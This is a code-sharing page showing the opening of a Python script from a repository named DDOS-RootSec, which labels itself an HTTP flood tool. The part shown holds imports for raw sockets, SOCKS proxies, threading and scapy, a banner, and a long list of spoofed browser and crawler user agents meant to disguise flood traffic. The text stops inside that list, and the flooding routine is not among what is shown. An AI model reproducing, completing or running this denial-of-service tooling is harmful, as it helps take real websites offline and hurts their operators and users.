Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L7/80.py
4607 views
1
#INSTALL THIS LIBS: pkg install python3 pip3 install bs4 pip3 install pysocks
2
3
import os, sys, time
4
import socket
5
import socks
6
import threading
7
import random
8
import re
9
import urllib.request
10
import os
11
import sys
12
from bs4 import BeautifulSoup
13
14
os.system("clear")
15
try:
16
from scapy.all import *
17
except:
18
print ("[DDOS - THAI]-HTTP FLOOD")
19
20
print('''
21
___ ___ ___ ___
22
| __>| . \| __>| __>
23
| _> | /| _> | _>
24
|_| |_\_\|___>|___>
25
SYSTEM : PYTHON3
26
27
''')
28
29
useragents=["AdsBot-Google ( http://www.google.com/adsbot.html)",
30
"Avant Browser/1.2.789rel1 (http://www.avantbrowser.com)",
31
"Baiduspider ( http://www.baidu.com/search/spider.htm)",
32
"BlackBerry7100i/4.1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/103",
33
"BlackBerry7520/4.0.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/5.0.3.3 UP.Link/5.1.2.12 (Google WAP Proxy/1.0)",
34
"BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0",
35
"BlackBerry8320/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/100",
36
"BlackBerry8330/4.3.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/105",
37
"BlackBerry9000/4.6.0.167 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/102",
38
"BlackBerry9530/4.7.0.167 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/102 UP.Link/6.3.1.20.0",
39
"BlackBerry9700/5.0.0.351 Profile/MIDP-2.1 Configuration/CLDC-1.1 VendorID/123",
40
"Bloglines/3.1 (http://www.bloglines.com)",
41
"CSSCheck/1.2.2",
42
"Dillo/2.0",
43
"DoCoMo/2.0 N905i(c100;TB;W24H16) (compatible; Googlebot-Mobile/2.1; http://www.google.com/bot.html)",
44
"DoCoMo/2.0 SH901iC(c100;TB;W24H12)",
45
"Download Demon/3.5.0.11",
46
"ELinks/0.12~pre5-4",
47
"ELinks (0.4pre5; Linux 2.6.10-ac7 i686; 80x33)",
48
"ELinks/0.9.3 (textmode; Linux 2.6.9-kanotix-8 i686; 127x41)",
49
"EmailWolf 1.00",
50
"everyfeed-spider/2.0 (http://www.everyfeed.com)",
51
"facebookscraper/1.0( http://www.facebook.com/sharescraper_help.php)",
52
"FAST-WebCrawler/3.8 (crawler at trd dot overture dot com; http://www.alltheweb.com/help/webmaster/crawler)",
53
"FeedFetcher-Google; ( http://www.google.com/feedfetcher.html)",
54
"Gaisbot/3.0 ([email protected]; http://gais.cs.ccu.edu.tw/robot.php)",
55
"Googlebot/2.1 ( http://www.googlebot.com/bot.html)",
56
"Googlebot-Image/1.0",
57
"Googlebot-News",
58
"Googlebot-Video/1.0",
59
"Gregarius/0.5.2 ( http://devlog.gregarius.net/docs/ua)",
60
"grub-client-1.5.3; (grub-client-1.5.3; Crawl your own stuff with http://grub.org)",
61
"Gulper Web Bot 0.2.4 (www.ecsl.cs.sunysb.edu/~maxim/cgi-bin/Link/GulperBot)",
62
"HTC_Dream Mozilla/5.0 (Linux; U; Android 1.5; en-ca; Build/CUPCAKE) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1",
63
"HTC-ST7377/1.59.502.3 (67150) Opera/9.50 (Windows NT 5.1; U; en) UP.Link/6.3.1.17.0",
64
"HTMLParser/1.6",
65
"iTunes/4.2 (Macintosh; U; PPC Mac OS X 10.2)",
66
"iTunes/9.0.2 (Windows; N)",
67
"iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)",
68
"Java/1.6.0_13",
69
"Jigsaw/2.2.5 W3C_CSS_Validator_JFouffa/2.0",
70
"Konqueror/3.0-rc4; (Konqueror/3.0-rc4; i686 Linux;;datecode)",
71
"LG-GC900/V10a Obigo/WAP2.0 Profile/MIDP-2.1 Configuration/CLDC-1.1",
72
"LG-LX550 AU-MIC-LX550/2.0 MMP/2.0 Profile/MIDP-2.0 Configuration/CLDC-1.1",
73
"libwww-perl/5.820",
74
"Links/0.9.1 (Linux 2.4.24; i386;)",
75
"Links (2.1pre15; FreeBSD 5.3-RELEASE i386; 196x84)",
76
"Links (2.1pre15; Linux 2.4.26 i686; 158x61)",
77
"Links (2.3pre1; Linux 2.6.38-8-generic x86_64; 170x48)",
78
"Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/0.8.12",
79
"Lynx/2.8.7dev.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8d",
80
"Mediapartners-Google",
81
"Microsoft URL Control - 6.00.8862",
82
"Midori/0.1.10 (X11; Linux i686; U; en-us) WebKit/(531).(2) ",
83
"MOT-L7v/08.B7.5DR MIB/2.2.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.0",
84
"MOTORIZR-Z8/46.00.00 Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; 356) Opera 8.65 [it] UP.Link/6.3.0.0.0",
85
"MOT-V177/0.1.75 UP.Browser/6.2.3.9.c.12 (GUI) MMP/2.0 UP.Link/6.3.1.13.0",
86
"MOT-V9mm/00.62 UP.Browser/6.2.3.4.c.1.123 (GUI) MMP/2.0",
87
"Mozilla/1.22 (compatible; MSIE 5.01; PalmOS 3.0) EudoraWeb 2.1",
88
"Mozilla/2.02E (Win95; U)",
89
"Mozilla/2.0 (compatible; Ask Jeeves/Teoma)",
90
"Mozilla/3.01Gold (Win95; I)",
91
"Mozilla/3.0 (compatible; NetPositive/2.1.1; BeOS)",
92
"Mozilla/4.0 (compatible; GoogleToolbar 4.0.1019.5266-big; Windows XP 5.1; MSIE 6.0.2900.2180)",
93
"Mozilla/4.0 (compatible; Linux 2.6.22) NetFront/3.4 Kindle/2.0 (screen 600x800)",
94
"Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; MDA Pro/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1)",
95
"Mozilla/4.0 (compatible; MSIE 5.0; Series80/2.0 Nokia9500/4.51 Profile/MIDP-2.0 Configuration/CLDC-1.1)",
96
"Mozilla/4.0 (compatible; MSIE 5.15; Mac_PowerPC)",
97
"Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)",
98
"Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0 )",
99
"Mozilla/4.0 (compatible; MSIE 6.0; j2me) ReqwirelessWeb/3.5",
100
"Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; PalmSource/hspr-H102; Blazer/4.0) 16;320x320",
101
"Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.12; Microsoft ZuneHD 4.3)",
102
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.0",
103
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
104
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)",
105
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; winfx; .NET CLR 1.1.4322; .NET CLR 2.0.50727; Zune 2.0) ",
106
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)",
107
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0)",
108
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/5.0)",
109
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0)",
110
"Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0) Asus;Galaxy6",
111
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)",
112
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)",
113
"Mozilla/4.0 (PDA; PalmOS/sony/model prmr/Revision:1.1.54 (en)) NetFront/3.0",
114
"Mozilla/4.0 (PSP (PlayStation Portable); 2.00)",
115
"Mozilla/4.1 (compatible; MSIE 5.0; Symbian OS; Nokia 6600;452) Opera 6.20 [en-US]",
116
"Mozilla/4.77 [en] (X11; I; IRIX;64 6.5 IP30)",
117
"Mozilla/4.8 [en] (Windows NT 5.1; U)",
118
"Mozilla/4.8 [en] (X11; U; SunOS; 5.7 sun4u)",
119
"Mozilla/5.0 (Android; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1",
120
"Mozilla/5.0 (Android; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1",
121
"Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20060702 SeaMonkey/1.5a",
122
"Mozilla/5.0 (BlackBerry; U; BlackBerry 9800; en) AppleWebKit/534.1 (KHTML, Like Gecko) Version/6.0.0.141 Mobile Safari/534.1",
123
"Mozilla/5.0 (compatible; bingbot/2.0 http://www.bing.com/bingbot.htm)",
124
"Mozilla/5.0 (compatible; Exabot/3.0; http://www.exabot.com/go/robot) ",
125
"Mozilla/5.0 (compatible; Googlebot/2.1; http://www.google.com/bot.html)",
126
"Mozilla/5.0 (compatible; Konqueror/3.3; Linux 2.6.8-gentoo-r3; X11;",
127
"Mozilla/5.0 (compatible; Konqueror/3.5; Linux 2.6.30-7.dmz.1-liquorix-686; X11) KHTML/3.5.10 (like Gecko) (Debian package 4:3.5.10.dfsg.1-1 b1)",
128
"Mozilla/5.0 (compatible; Konqueror/3.5; Linux; en_US) KHTML/3.5.6 (like Gecko) (Kubuntu)",
129
"Mozilla/5.0 (compatible; Konqueror/3.5; NetBSD 4.0_RC3; X11) KHTML/3.5.7 (like Gecko)",
130
"Mozilla/5.0 (compatible; Konqueror/3.5; SunOS) KHTML/3.5.1 (like Gecko)",
131
"Mozilla/5.0 (compatible; Konqueror/4.1; DragonFly) KHTML/4.1.4 (like Gecko)",
132
"Mozilla/5.0 (compatible; Konqueror/4.1; OpenBSD) KHTML/4.1.4 (like Gecko)",
133
"Mozilla/5.0 (compatible; Konqueror/4.2; Linux) KHTML/4.2.4 (like Gecko) Slackware/13.0",
134
"Mozilla/5.0 (compatible; Konqueror/4.3; Linux) KHTML/4.3.1 (like Gecko) Fedora/4.3.1-3.fc11",
135
"Mozilla/5.0 (compatible; Konqueror/4.4; Linux 2.6.32-22-generic; X11; en_US) KHTML/4.4.3 (like Gecko) Kubuntu",
136
"Mozilla/5.0 (compatible; Konqueror/4.4; Linux) KHTML/4.4.1 (like Gecko) Fedora/4.4.1-1.fc12",
137
"Mozilla/5.0 (compatible; Konqueror/4.5; FreeBSD) KHTML/4.5.4 (like Gecko)",
138
"Mozilla/5.0 (compatible; Konqueror/4.5; NetBSD 5.0.2; X11; amd64; en_US) KHTML/4.5.4 (like Gecko)",
139
"Mozilla/5.0 (compatible; Konqueror/4.5; Windows) KHTML/4.5.4 (like Gecko)",
140
"Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)",
141
"Mozilla/5.0 (compatible; MSIE 10.6; Windows NT 6.1; Trident/5.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727) 3gpp-gba UNTRUSTED/1.0",
142
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
143
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; Trident/5.0)",
144
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; WOW64; Trident/5.0)",
145
"Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)",
146
"Mozilla/5.0 (compatible; Yahoo! Slurp China; http://misc.yahoo.com.cn/help.html)",
147
"Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)",
148
"Mozilla/5.0 (en-us) AppleWebKit/525.13 (KHTML, like Gecko; Google Web Preview) Version/3.1 Safari/525.13",
149
"Mozilla/5.0 (hp-tablet; Linux; hpwOS/3.0.2; U; de-DE) AppleWebKit/534.6 (KHTML, like Gecko) wOSBrowser/234.40.1 Safari/534.6 TouchPad/1.0",
150
"Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10",
151
"Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; ja-jp) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5",
152
"Mozilla/5.0 (iPad; U; CPU OS 4_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F190 Safari/6533.18.5",
153
"Mozilla/5.0 (iPhone; U; CPU iPhone OS 2_0 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5A347 Safari/525.200",
154
"Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16",
155
"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/531.22.7",
156
"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; da-dk) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5",
157
"Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_3 like Mac OS X; de-de) AppleWebKit/533.17.9 (KHTML, like Gecko) Mobile/8F190",
158
"Mozilla/5.0 (iPhone; U; CPU iPhone OS) (compatible; Googlebot-Mobile/2.1; http://www.google.com/bot.html)",
159
"Mozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420 (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3",
160
"Mozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11a Safari/525.20",
161
"Mozilla/5.0 (iPod; U; CPU iPhone OS 3_1_1 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Mobile/7C145",
162
"Mozilla/5.0 (Linux; U; Android 0.5; en-us) AppleWebKit/522 (KHTML, like Gecko) Safari/419.3",
163
"Mozilla/5.0 (Linux; U; Android 1.0; en-us; dream) AppleWebKit/525.10 (KHTML, like Gecko) Version/3.0.4 Mobile Safari/523.12.2",
164
"Mozilla/5.0 (Linux; U; Android 1.1; en-gb; dream) AppleWebKit/525.10 (KHTML, like Gecko) Version/3.0.4 Mobile Safari/523.12.2",
165
"Mozilla/5.0 (Linux; U; Android 1.5; de-ch; HTC Hero Build/CUPCAKE) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1",
166
"Mozilla/5.0 (Linux; U; Android 1.5; de-de; Galaxy Build/CUPCAKE) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1",
167
"Mozilla/5.0 (Linux; U; Android 1.5; de-de; HTC Magic Build/PLAT-RC33) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1 FirePHP/0.3",
168
"Mozilla/5.0 (Linux; U; Android 1.5; en-gb; T-Mobile_G2_Touch Build/CUPCAKE) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1",
169
"Mozilla/5.0 (Linux; U; Android 1.5; en-us; htc_bahamas Build/CRB17) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1",
170
"Mozilla/5.0 (Linux; U; Android 1.5; en-us; sdk Build/CUPCAKE) AppleWebkit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1",
171
"Mozilla/5.0 (Linux; U; Android 1.5; en-us; SPH-M900 Build/CUPCAKE) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1",
172
"Mozilla/5.0 (Linux; U; Android 1.5; en-us; T-Mobile G1 Build/CRB43) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari 525.20.1",
173
"Mozilla/5.0 (Linux; U; Android 1.5; fr-fr; GT-I5700 Build/CUPCAKE) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1",
174
"Mozilla/5.0 (Linux; U; Android 1.6; en-us; HTC_TATTOO_A3288 Build/DRC79) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1",
175
"Mozilla/5.0 (Linux; U; Android 1.6; en-us; SonyEricssonX10i Build/R1AA056) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1",
176
"Mozilla/5.0 (Linux; U; Android 1.6; es-es; SonyEricssonX10i Build/R1FA016) AppleWebKit/528.5 (KHTML, like Gecko) Version/3.1.2 Mobile Safari/525.20.1",
177
"Mozilla/5.0 (Linux; U; Android 2.0.1; de-de; Milestone Build/SHOLS_U2_01.14.0) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17",
178
"Mozilla/5.0 (Linux; U; Android 2.0; en-us; Droid Build/ESD20) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17",
179
"Mozilla/5.0 (Linux; U; Android 2.0; en-us; Milestone Build/ SHOLS_U2_01.03.1) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17",
180
"Mozilla/5.0 (Linux; U; Android 2.1; en-us; HTC Legend Build/cupcake) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17",
181
"Mozilla/5.0 (Linux; U; Android 2.1; en-us; Nexus One Build/ERD62) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17",
182
"Mozilla/5.0 (Linux; U; Android 2.1-update1; de-de; HTC Desire 1.19.161.5 Build/ERE27) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Mobile Safari/530.17",
183
"Mozilla/5.0 (Linux; U; Android 2.2; en-ca; GT-P1000M Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
184
"Mozilla/5.0 (Linux; U; Android 2.2; en-us; ADR6300 Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
185
"Mozilla/5.0 (Linux; U; Android 2.2; en-us; Droid Build/FRG22D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
186
"Mozilla/5.0 (Linux; U; Android 2.2; en-us; Nexus One Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
187
"Mozilla/5.0 (Linux; U; Android 2.2; en-us; Sprint APA9292KT Build/FRF91) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
188
"Mozilla/5.0 (Linux; U; Android 2.3.4; en-us; BNTV250 Build/GINGERBREAD) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Safari/533.1",
189
"Mozilla/5.0 (Linux; U; Android 3.0.1; en-us; GT-P7100 Build/HRI83) AppleWebkit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13",
190
"Mozilla/5.0 (Linux; U; Android 3.0.1; fr-fr; A500 Build/HRI66) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13",
191
"Mozilla/5.0 (Linux; U; Android 3.0; en-us; Xoom Build/HRI39) AppleWebKit/525.10 (KHTML, like Gecko) Version/3.0.4 Mobile Safari/523.12.2",
192
"Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30",
193
"Mozilla/5.0 (Linux; U; Android 4.0.3; de-de; Galaxy S II Build/GRJ22) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30",
194
"Mozilla/5.0 (Linux U; en-US) AppleWebKit/528.5 (KHTML, like Gecko, Safari/528.5 ) Version/4.0 Kindle/3.0 (screen 600x800; rotate)",
195
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1",
196
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.54 Safari/535.2",
197
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7",
198
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
199
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Camino/2.2.1",
200
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0b6pre) Gecko/20100907 Firefox/4.0b6pre Camino/2.2a1pre",
201
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:5.0) Gecko/20100101 Firefox/5.0",
202
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0",
203
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.186 Safari/535.1",
204
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1",
205
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10",
206
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_0) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1063.0 Safari/536.3",
207
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/528.16 (KHTML, like Gecko, Safari/528.16) OmniWeb/v622.8.0",
208
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_7;en-us) AppleWebKit/530.17 (KHTML, like Gecko) Version/4.0 Safari/530.17",
209
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_8; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.302.2 Safari/532.8",
210
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1) Gecko/20090624 Firefox/3.5",
211
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10",
212
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.464.0 Safari/534.3",
213
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; de-de) AppleWebKit/534.15 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4",
214
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_5; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.15 Safari/534.13",
215
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_6; en-us) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27",
216
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.14) Gecko/20110218 AlexaToolbar/alxf-2.0 Firefox/3.6.14",
217
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_7; en-us) AppleWebKit/534.20.8 (KHTML, like Gecko) Version/5.1 Safari/534.20.8",
218
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US) AppleWebKit/528.16 (KHTML, like Gecko, Safari/528.16) OmniWeb/v622.8.0.112941",
219
"Mozilla/5.0 (Macintosh; U; Mac OS X Mach-O; en-US; rv:2.0a) Gecko/20040614 Firefox/3.0.0 ",
220
"Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.0.3) Gecko/2008092414 Firefox/3.0.3",
221
"Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.5; en-US; rv:1.9.2.15) Gecko/20110303 Firefox/3.6.15",
222
"Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.2 (KHTML, like Gecko) Safari/125.8",
223
"Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/125.2 (KHTML, like Gecko) Safari/85.8",
224
"Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/418.8 (KHTML, like Gecko) Safari/419.3",
225
"Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.15",
226
"Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr-fr) AppleWebKit/312.5 (KHTML, like Gecko) Safari/312.3",
227
"Mozilla/5.0 (Maemo; Linux armv7l; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 Fennec/10.0.1",
228
"Mozilla/5.0 (Maemo; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1",
229
"Mozilla/5.0 (MeeGo; NokiaN950-00/00) AppleWebKit/534.13 (KHTML, like Gecko) NokiaBrowser/8.5.0 Mobile Safari/534.13",
230
"Mozilla/5.0 (MeeGo; NokiaN9) AppleWebKit/534.13 (KHTML, like Gecko) NokiaBrowser/8.5.0 Mobile Safari/534.13",
231
"Mozilla/5.0 (PLAYSTATION 3; 1.10)",
232
"Mozilla/5.0 (PLAYSTATION 3; 2.00)",
233
"Mozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41",
234
"Mozilla/5.0 (Symbian/3; Series60/5.2 NokiaC6-01/011.010; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.7.2 3gpp-gba",
235
"Mozilla/5.0 (Symbian/3; Series60/5.2 NokiaC7-00/012.003; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.7.3 3gpp-gba",
236
"Mozilla/5.0 (Symbian/3; Series60/5.2 NokiaE6-00/021.002; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/533.4 (KHTML, like Gecko) NokiaBrowser/7.3.1.16 Mobile Safari/533.4 3gpp-gba",
237
"Mozilla/5.0 (Symbian/3; Series60/5.2 NokiaE7-00/010.016; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.7.3 3gpp-gba",
238
"Mozilla/5.0 (Symbian/3; Series60/5.2 NokiaN8-00/014.002; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 BrowserNG/7.2.6.4 3gpp-gba",
239
"Mozilla/5.0 (Symbian/3; Series60/5.2 NokiaX7-00/021.004; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/533.4 (KHTML, like Gecko) NokiaBrowser/7.3.1.21 Mobile Safari/533.4 3gpp-gba",
240
"Mozilla/5.0 (SymbianOS/9.1; U; de) AppleWebKit/413 (KHTML, like Gecko) Safari/413",
241
"Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413",
242
"Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es50",
243
"Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es65",
244
"Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413 es70",
245
"Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 Nokia5700/3.27; Profile/MIDP-2.0 Configuration/CLDC-1.1) AppleWebKit/413 (KHTML, like Gecko) Safari/413",
246
"Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 Nokia6120c/3.70; Profile/MIDP-2.0 Configuration/CLDC-1.1) AppleWebKit/413 (KHTML, like Gecko) Safari/413",
247
"Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaE90-1/07.24.0.3; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413 UP.Link/6.2.3.18.0",
248
